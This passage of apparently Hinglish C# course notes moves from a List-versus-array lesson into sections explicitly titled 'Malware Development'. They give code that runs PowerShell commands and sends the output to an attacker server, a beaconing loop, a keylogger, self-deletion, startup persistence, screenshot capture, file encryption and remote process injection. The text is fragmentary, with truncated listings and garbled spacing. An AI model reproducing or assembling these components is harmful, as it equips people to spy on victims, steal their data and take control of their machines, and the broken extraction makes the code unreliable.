• List<string> ek dynamic collection hai jisme aap easily strings ko add kar
sakte hain.
• StringBuilder ki jagah ab hum List<string> use kar rahe hain jisme
har directory aur file name ko Add method se add kar rahe hain.
2. Why List<string>:
• List<string> array ki tarah kaam karta hai, lekin iska size dynamic hota
hai, iska matlab hai ki jab aap naye items add karte ho, yeh automatically size
adjust kar leta hai.
• Arrays ka size fixed hota hai, isliye jab hum strings append karte hain, List<string>
zyada efficient hota hai.
Summary of Changes
• var ka use type inference ke liye kiya gaya hai, jo compiler ko variable ka type
automatically decide karne ka moka deta hai.
• Humne directory aur file list ko List<string> mein add kiya aur phir print kiya.
Yeh code ab simple aur clean hai aur aapko better control deta hai list of strings ko
handle karne mein. ===============================================
Difference Between List<string> and string[] temp
49
• Performance: Arrays ki memory layout simple hoti hai, aur yeh generally fast
hote hain, lekin unka size fixed hota hai, jo kabhi kabhi inefficient ho sakta hai jab
aapko array ko dynamically grow ya shrink karna ho.
• Indexing: Arrays ko access karna direct indexing ke through hota hai, jese temp[0]
se pehla element access kar sakte hain.
Example of Array:
1 string[] temp = new string[3]; // Size fixed hai, sirf 3 elements
store kar sakte hain
2 temp[0] = "File1";
3 temp[1] = "File2";
4 temp[2] = "File3";
Listing 22: Example of Array
• Less Flexible: Agar aapko runtime mein data ka size change karna ho, toh yeh
less flexible hota hai.
2. List (List<string>)
• Dynamic Size: List<string> ek dynamic collection hai. Jab bhi aap items
add karte ho, yeh apna size automatically adjust kar leta hai.
• Performance: List ka performance array se slightly slow ho sakta hai, lekin yeh
flexibility deta hai, jaise dynamically items ko add karna, remove karna, aur ma-
nipulate karna.
• Methods: List<string> ke paas kaafi methods hote hain, jaise Add(), Remove(),
Insert(), Sort(), Contains() etc., jo array ke comparison mein zyada func-
tionality provide karte hain.
• Indexing: List<string> ko bhi index ke through access kiya ja sakta hai, jese
temp[0].
Example of List:
1 List<string> temp = new List<string>(); // Size dynamic hai, jab
chahe items add kar sakte hain
2 temp.Add("File1"); // Add method se item add karte hain
3 temp.Add("File2");
4 temp.Add("File3");
Listing 23: Example of List
50
Advantages of List (List<string>)
• Dynamic Size: Aap easily aur efficiently items ko add ya remove kar sakte hain
bina size ke baare mein sochne ke.
• Flexible: Agar aapko data ka size runtime mein change karna ho, toh List<string>
use karna zyada flexible hai.
Comparison Table
Feature string[] temp (Array) List<string>
Size Fixed Dynamic
Performance Generally fast, but fixed size Slightly slower, but more flexible
Methods Limited (basic indexing) More methods like Add(), Remove(), Sor
Flexibility Less flexible Highly flexible
Memory Allocation Static allocation (fixed size) Dynamic allocation (grows automatically)
Resize Requires creating a new array Can grow/shrink dynamically
Summary in Hinglish
• string[] temp (Array): Yeh ek fixed size collection hai. Jab aap array banate
ho, toh uska size set ho jata hai aur aapko baad mein size badalne ka option nahi
milta. Agar aapko aur elements add karne hain, toh aapko nayi array banani padti
hai.
• List<string>: Yeh dynamic collection hai, matlab jab chahe aap items add kar
sakte hain, aur yeh automatically apna size adjust kar leta hai. Yeh kaafi flexible
hota hai aur zyada features bhi provide karta hai.
Agar aapko array ka size pata ho aur aapko usse change nahi karna ho, toh string[]
use karo. Agar aapko flexibility chahiye aur size ko dynamically adjust karna ho, toh
List<string> best hai.
========================================================
Sending Command to PowerShell, Executing It, and Sending Response to Attacker
Server in C#
51
Step-by-Step Code in Hinglish
1. Process Start Karna (PowerShell Command Execute Karna) Hum Process
class ka use karenge jo PowerShell command ko execute karega aur uska output
humein return karega.
2. Command Execution ke Output ko Read Karna PowerShell command ke
output ko hum StandardOutput property se read kar sakte hain.
3. Result ko Attacker Server pe Send Karna Hum HttpClient ka use karenge
jo result ko attacker ke server pe HTTP request ke through bhejega.
Code Example
1 using System;
2 using System.Diagnostics; // Process start karne ke liye
3 using System.Net.Http; // HttpClient class ko use karne ke liye
4 using System.Threading.Tasks; // Asynchronous task ke liye
5
52
28
51 if (result.IsSuccessStatusCode)
52 {
53 Console.WriteLine("Response successfully sent to
attacker server.");
54 }
55 else
56 {
57 Console.WriteLine("Failed to send response to
attacker server.");
58 }
59 }
60 }
61 }
Listing 24: PowerShellExecutor C Code
Code Explanation
1. Namespace Imports:
53
• System.Net.Http: Is namespace ka use hum HTTP requests bhejne ke liye
karte hain (attacker ke server pe response send karna).
• System.Threading.Tasks: Yeh namespace asynchronous programming
ko handle karta hai. Task type se hum asynchronous methods ko execute
karte hain.
2. ExecutePowerShellCommand Function:
3. Process.Start:
4. SendResponseToServer Function:
• HttpClient: Yeh class web requests bhejne ke liye use hoti hai. Hum yeh
class use karte hain taaki attacker ke server pe result ko POST request ke
through bhej sakein.
• StringContent: Yeh class string data ko HTTP request content mein con-
vert kar deti hai. Hum PowerShell ke output ko string content mein convert
karte hain.
• PostAsync: Yeh method attacker ke server ko response bhejne ke liye use hoti hai.
Hum POST request bhejte hain http://attacker-server.com/receiver esponseU RLpe.
5. Error Handling:
• Agar koi exception aata hai toh try-catch block mein handle karte hain.
ex.Message se hum error ka message print karte hain.
54
2. Command ka Output Read Karna:
In Hinglish
3. Loop Lagana: Hum ek infinite loop (while(true)) lagaenge taaki har 5 second
mein GET request bheja ja sake.
4. URL ka Input: Attacker ke server ka URL specify karenge jahan hum GET
request bhejenge.
55
Code Example in C#
1 using System;
2 using System.Net; // WebClient class ko use karne ke liye
3 using System.Threading; // Thread.Sleep() ke liye
4
56
Code Explanation
1. Namespace Imports:
2. StartSendingRequests Function:
3. Exception Handling:
• Try-Catch Block: Agar koi error aata hai (jaise network error, invalid URL),
toh hum catch block mein usse handle karte hain aur error message print
karte hain.
4. Main Method:
• while(true) loop ko laga ke hum ensure karte hain ki GET requests har 5
second mein repeat hoti rahe.
57
• webClient.DownloadString(url) ka use karke hum attacker ke server
ko GET request bhejte hain aur response ko store karte hain.
5. Error Handling:
• Agar koi error aata hai, toh catch block mein error message print hota hai.
In Hinglish
• Hum WebClient ka use kar rahe hain attacker ke server ko GET request bhejne
ke liye.
Yeh code aapko attacker ke server ko har 5 seconds mein GET request bhejne mein
madad karega. Agar aapko koi confusion ho ya aur clarification chahiye ho toh pooch
sakte ho!
========================================================
[12pt]article [utf8]inputenc listings xcolor hyperref
Important Functions Used in Malware Development in C#
Malware development mein kuch specific functions aur classes ka use hota hai jo sys-
tem ke resources access karne, file manipulations, networking, aur other sensitive opera-
tions perform karne ke liye hoti hain. Yahan main kuch common aur important functions
explain kar raha hoon, saath mein examples aur har line ka explanation Hinglish mein:
4 class Malware
5 {
6 public static void ReadFile(string filePath)
7 {
8 // Check karte hain ki file exist karti hai ya nahi
9 if (File.Exists(filePath))
58
10 {
11 // File ka content read karte hain
12 string content = File.ReadAllText(filePath);
13 Console.WriteLine("File Content:\n" + content); // File
ka data print karte hain
14 }
15 else
16 {
17 Console.WriteLine("File does not exist!"); // Error
message agar file nahi mile
18 }
19 }
20
Explanation:
2. Registry Manipulation
Purpose: Windows Registry ko modify karke persistence ya configuration changes ke
liye.
4 class Malware
5 {
6 public static void AddRegistryKey()
7 {
8 // Open karte hain registry ka path
9 RegistryKey key = Registry.CurrentUser.CreateSubKey(@"
Software\MalwareExample");
10
11 if (key != null)
12 {
59
13 key.SetValue("Persistence", "Enabled"); // Key value
set karte hain
14 Console.WriteLine("Registry key added successfully.");
// Success message
15 key.Close(); // Key ko close karte hain
16 }
17 }
18
Explanation:
• Close: Registry key ko close kar deta hai, memory release karne ke liye.
3. Process Management
Purpose: System ke running processes ko access karne aur manipulate karne ke liye.
4 class Malware
5 {
6 public static void ListProcesses()
7 {
8 // Sabhi processes ko fetch karte hain
9 Process[] processes = Process.GetProcesses();
10
60
Explanation:
• foreach: Ek-ek process ke naam aur ID ko loop ke through print karta hai.
4. Network Communication
Purpose: Attacker ke server se communicate karne ke liye GET aur POST requests
bhejne.
5 class Malware
6 {
7 public static async Task SendGetRequest()
8 {
9 HttpClient client = new HttpClient();
10
14 // GET request send karte hain aur response read karte hain
15 string response = await client.GetStringAsync(url);
16 Console.WriteLine("Response from server: " + response);
17 }
18
Explanation:
61
Example: Get System Information
1 using System;
2
3 class Malware
4 {
5 public static void GetSystemInfo()
6 {
7 // Current username fetch karte hain
8 string userName = Environment.UserName;
9
Explanation:
• Environment.UserName: Current logged-in user ka naam fetch karta hai.
• Environment.OSVersion: OS version details fetch karta hai.
• Environment.CurrentDirectory: Program ki current working directory.
62
6. Keylogging
Purpose: Victim ke keyboard inputs ko silently capture karna.
Code:
1 using System; // Basic functionalities ke liye namespace
2 using System.Runtime.InteropServices; // Windows ke unmanaged code ko
access karne ke liye
3
4 class Keylogger
5 {
6 [DllImport("user32.dll")] // Windows library ko import karte hain
7 public static extern short GetAsyncKeyState(int vKey); // Function
to check key press status
8
9 public static void StartKeylogger()
10 {
11 while (true) // Continuous monitoring ke liye infinite loop
12 {
13 for (int key = 0; key < 255; key++) // Sabhi possible keys
(0-255) ke state check karte hain
14 {
15 if (GetAsyncKeyState(key) == -32767) // Agar koi key
press hui hai
16 {
17 Console.WriteLine((ConsoleKey)key); // Key ko
display karte hain
18 }
19 }
20 }
21 }
22
23 public static void Main()
24 {
25 StartKeylogger(); // Keylogger start karne ke liye function call
26 }
27 }
Explanation:
7. Self-Destruction (Anti-Forensic)
Purpose: Malware apne aapko delete kar le, forensic tools se bachne ke liye.
Code:
63
1 using System; // Standard functionalities ke liye
2 using System.Diagnostics; // Process management ke liye
3 using System.IO; // File operations ke liye
4
5 class Malware
6 {
7 public static void SelfDestruct()
8 {
9 string currentPath = Process.GetCurrentProcess().MainModule.
FileName; // Current executable ka path
10 Process.Start("cmd.exe", $"/C timeout 3 & del \"{currentPath}\"")
; // CMD ke through apni file delete karte hain
11 }
12
13 public static void Main()
14 {
15 SelfDestruct(); // Function call
16 }
17 }
Explanation:
• cmd.exe /C timeout 3 & del: CMD ka use karte hain file delete karne ke
liye (3-second delay ke baad).
4 class Malware
5 {
6 public static void AddToStartup()
7 {
8 string sourcePath = Process.GetCurrentProcess().MainModule.
FileName; // Current file ka path
9 string targetPath = Environment.GetFolderPath(Environment.
SpecialFolder.Startup) + "\\malware.exe"; // Startup folder
ka path
10
11 File.Copy(sourcePath, targetPath, true); // File ko startup
folder mein copy karte hain
12 Console.WriteLine("Malware added to startup.");
13 }
14
15 public static void Main()
16 {
17 AddToStartup(); // Function call
18 }
64
19 }
Explanation:
• Environment.GetFolderPath: System folder (e.g., Startup) ka path fetch
karta hai.
• SpecialFolder.Startup: Startup folder ka location batata hai.
• File.Copy: File ko ek location se doosre location par copy karne ke liye.
===============================
article [utf8]inputenc xcolor listings
Detailed Malware Development Techniques with Hinglish Explanation
9. Screenshot Capture
Purpose: Victim ke screen ka screenshot le kar uska data capture karna.
Code:
1 using System; // Core functionality
2 using System.Drawing; // Image creation ke liye
3 using System.Drawing.Imaging; // Image format ke liye
4
5 class Malware
6 {
7 public static void CaptureScreenshot(string savePath)
8 {
9 Bitmap screenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width,
Screen.PrimaryScreen.Bounds.Height); // Screen size ka
Bitmap create karte hain
10 Graphics g = Graphics.FromImage(screenshot); // Graphics object
create karte hain
11 g.CopyFromScreen(0, 0, 0, 0, screenshot.Size); // Screen ka
content Bitmap mein copy karte hain
12 screenshot.Save(savePath, ImageFormat.Png); // Screenshot ko PNG
format mein save karte hain
13 Console.WriteLine("Screenshot captured and saved to: " + savePath
);
14 }
15
16 public static void Main()
17 {
18 string savePath = @"C:\Users\Public\screenshot.png"; // Save
location
19 CaptureScreenshot(savePath); // Function call
20 }
21 }
Explanation:
• Bitmap: Screen ke dimensions ke hisaab se image create karta hai.
• Graphics.CopyFromScreen: Screen ka content image mein copy karta hai.
• ImageFormat.Png: Screenshot ko PNG format mein save karta hai.
—
65
10. Privilege Escalation Check
Purpose: Check karna ki malware admin privileges par chal raha hai ya nahi.
Code:
1 using System; // General utilities
2 using System.Security.Principal; // User identity check karne ke liye
3
4 class Malware
5 {
6 public static bool IsAdmin()
7 {
8 WindowsIdentity identity = WindowsIdentity.GetCurrent(); //
Current user ka identity fetch
9 WindowsPrincipal principal = new WindowsPrincipal(identity); //
Principal object banate hain
10 return principal.IsInRole(WindowsBuiltInRole.Administrator); //
Admin privileges ka check
11 }
12
13 public static void Main()
14 {
15 if (IsAdmin()) // Agar admin rights mil rahe hain
16 {
17 Console.WriteLine("Running with admin privileges.");
18 }
19 else
20 {
21 Console.WriteLine("Not running as admin.");
22 }
23 }
24 }
Explanation:
• WindowsIdentity.GetCurrent: Current user ka identity fetch karta hai.
66
10 using (Aes aes = Aes.Create()) // AES object create karte hain
11 {
12 aes.Key = keyBytes; // Key set karte hain
13 aes.IV = new byte[16]; // Default Initialization Vector (IV)
14 using (FileStream fs = new FileStream(filePath, FileMode.
OpenOrCreate))
15 using (CryptoStream cs = new CryptoStream(fs, aes.
CreateEncryptor(), CryptoStreamMode.Write))
16 using (StreamWriter writer = new StreamWriter(cs))
17 {
18 writer.WriteLine("Sensitive data encrypted."); // Data
ko encrypt karte hain
19 }
20 }
21 Console.WriteLine("File encrypted successfully.");
22 }
23
24 public static void Main()
25 {
26 string filePath = @"C:\example\file.txt"; // File ka path
27 string key = "Base64EncodedEncryptionKeyHere=="; // Encryption
key
28 EncryptFile(filePath, key); // Function call
29 }
30 }
Explanation:
• CryptoStream: Data ko encrypt ya decrypt karne ke liye stream create karta hai.
===============================
article [utf8]inputenc xcolor listings
Detailed Malware Development Techniques with Hinglish Explanation
67
13 for (int key = 0; key < 255; key++) // 0 se 255 tak saari
possible keys ko check karte hain
14 {
15 if (GetAsyncKeyState(key) == -32767) // Agar key press
hui hai
16 {
17 Console.WriteLine((ConsoleKey)key); // Pressed key
ko readable format mein display karte hain
18 }
19 }
20 }
21 }
22
Line-by-Line Explanation:
• for (int key = 0; key < 255; key++): Saari possible keys (0-255) ko
loop ke through check karte hain.
68
7 public static void EncryptFile(string filePath, string key)
8 {
9 byte[] keyBytes = Convert.FromBase64String(key); // String key
ko byte array mein convert karte hain
10 using (Aes aes = Aes.Create()) // AES (Advanced Encryption
Standard) ka ek object banate hain
11 {
12 aes.Key = keyBytes; // AES encryption ke liye key set karte
hain
13 aes.IV = new byte[16]; // Initialization Vector set karte
hain (default 16 bytes ka hota hai)
14 using (FileStream fs = new FileStream(filePath, FileMode.
OpenOrCreate)) // File ko open karte hain ya create karte
hain
15 using (CryptoStream cs = new CryptoStream(fs, aes.
CreateEncryptor(), CryptoStreamMode.Write)) //
CryptoStream object banate hain
16 using (StreamWriter writer = new StreamWriter(cs)) //
Encrypted data likhne ke liye StreamWriter use karte hain
17 {
18 writer.WriteLine("Sensitive data encrypted."); //
Example text jo file mein likha jayega
19 }
20 }
21 Console.WriteLine("File encrypted successfully."); // Success
message print karte hain
22 }
23
24 public static void Main()
25 {
26 string filePath = @"C:\example\file.txt"; // Encrypt hone wali
file ka path
27 string key = "Base64EncodedEncryptionKeyHere=="; // Base64
encoded key
28 EncryptFile(filePath, key); // File encryption function ko call
karte hain
29 }
30 }
Line-by-Line Explanation:
• aes.IV = new byte[16]: Default initialization vector (16 bytes) set karta hai.
69
• CryptoStream cs = new CryptoStream(fs, aes.CreateEncryptor(),
CryptoStreamMode.Write): File data ko encrypt karne ke liye stream banata
hai.
===============================
article amsmath listings xcolor
Malware Code Explanation: Injecting Code into Another Process
5 c l a s s Malware
6 {
7 [ DllImport ( ” kernel32 . d l l ” , SetLastError = true ) ]
8 p u b l i c s t a t i c extern I n t P t r OpenProcess ( int dwDesiredAccess , b o o l
b I n h e r i t H a n d l e , int dwProcessId ) ; // P r o c e s s ko open karne ke
liye
9
10 [ DllImport ( ” kernel32 . d l l ” , SetLastError = true ) ]
11 p u b l i c s t a t i c extern I n t P t r V i r t u a l A l l o c E x ( I n t P t r hP ro ce ss , I n t P t r
lpAddress , u i n t dwSize , u i n t f l A l l o c a t i o n T y p e , u i n t f l P r o t e c t ) ;
// Memory a l l o c a t i o n ke l i y e
12
13 [ DllImport ( ” kernel32 . d l l ” , SetLastError = true ) ]
14 p u b l i c s t a t i c extern b o o l WriteProcessMemory ( I n t P t r hP ro ce ss , I n t P t r
lpBaseAddress , byte [ ] l p B u f f e r , u i n t n S i z e , out int
lpNumberOfBytesWritten ) ; // Memory mein data l i k h n e ke l i y e
15
70
25 I n t P t r allocMemAddress = V i r t u a l A l l o c E x ( p r o c e s s H a n d l e , I n t P t r .
Zero , ( u i n t ) 0 x1000 , 0 x1000 , 0 x40 ) ; // P r o c e s s memory a l l o c a t e
karte hain
26
27 // Code t o be i n j e c t e d ( example : a s i m p l e NOP i n s t r u c t i o n )
28 byte [ ] c o d e T o I n j e c t = new byte [ ] { 0 x90 , 0 x90 , 0 x90 } ; // NOP
instructions
29
30 int b y t e s W r i t t e n ;
31 WriteProcessMemory ( p r o c e s s H a n d l e , allocMemAddress , c o d e T o I n j e c t ,
( u i n t ) c o d e T o I n j e c t . Length , out b y t e s W r i t t e n ) ; // P r o c e s s
memory mein code i n j e c t k a r t e h a i n
32 }
33
34 p u b l i c s t a t i c void Main ( )
35 {
36 int t a r g e t P r o c e s s I d = 1 2 3 4 ; // Target p r o c e s s ka ID
37 I n j e c t C o d e ( t a r g e t P r o c e s s I d ) ; // Function c a l l
38 }
39 }
Explanation by Parts
1. Namespaces:
• System: This namespace is the basic utility for all C# applications, providing
classes for basic operations like reading and writing to the console, handling excep-
tions, and so on.
2. DLL Imports:
71
1 [ DllImport ( ” kernel32 . d l l ” , SetLastError = true ) ]
2 p u b l i c s t a t i c extern I n t P t r V i r t u a l A l l o c E x ( I n t P t r hP ro ce ss , I n t P t r
lpAddress , u i n t dwSize , u i n t f l A l l o c a t i o n T y p e , u i n t f l P r o t e c t ) ;
- WriteProcessMemory: Writes the byte data (i.e., our injected code) into the allo-
cated memory of the target process. - hProcess: The handle to the target process. -
lpBaseAddress: The starting address of the memory where data will be written. -
lpBuffer: The buffer (array) containing the data to write. - nSize: The size of the
data to write. - lpNumberOfBytesWritten: Returns the number of bytes actually
written.
3. Code Injection:
1 p u b l i c s t a t i c void I n j e c t C o d e ( int t a r g e t P r o c e s s I d )
2 {
3 I n t P t r p r o c e s s H a n d l e = OpenProcess ( 0 x1F0FFF , f a l s e , t a r g e t P r o c e s s I d ) ;
// Target p r o c e s s ko open k a r t e h a i n
4 I n t P t r allocMemAddress = V i r t u a l A l l o c E x ( p r o c e s s H a n d l e , I n t P t r . Zero , (
u i n t ) 0 x1000 , 0 x1000 , 0 x40 ) ; // P r o c e s s memory a l l o c a t e k a r t e h a i n
5
6 // Code t o be i n j e c t e d ( example : a s i m p l e NOP i n s t r u c t i o n )
7 byte [ ] c o d e T o I n j e c t = new byte [ ] { 0 x90 , 0 x90 , 0 x90 } ; // NOP
instructions
8
9 int b y t e s W r i t t e n ;
10 WriteProcessMemory ( p r o c e s s H a n d l e , allocMemAddress , c o d e T o I n j e c t , (
u i n t ) c o d e T o I n j e c t . Length , out b y t e s W r i t t e n ) ; // P r o c e s s memory
mein code i n j e c t k a r t e h a i n
11 }
- InjectCode: This is the method that performs the actual code injection. - OpenProcess:
It opens the target process using its process ID (targetProcessId). - VirtualAllocEx:
Allocates memory in the target process for the malicious code. - NOP Instructions:
byte[] codeToInject = new byte[] 0x90, 0x90, 0x90 ; represents the
”NOP” instruction in assembly. NOP stands for ”No Operation”, and it does nothing,
often used as a placeholder. - WriteProcessMemory: This writes the NOP code into
the allocated memory of the target process.
4. Main Method:
72
1 p u b l i c s t a t i c void Main ( )
2 {
3 int t a r g e t P r o c e s s I d = 1 2 3 4 ; // Target p r o c e s s ka ID
4 I n j e c t C o d e ( t a r g e t P r o c e s s I d ) ; // Function c a l l
5 }
- Main: This is the entry point for the program. It starts by specifying the target process
ID (here, 1234 is just an example) and then calls the InjectCode method to inject
the code.
===============================
73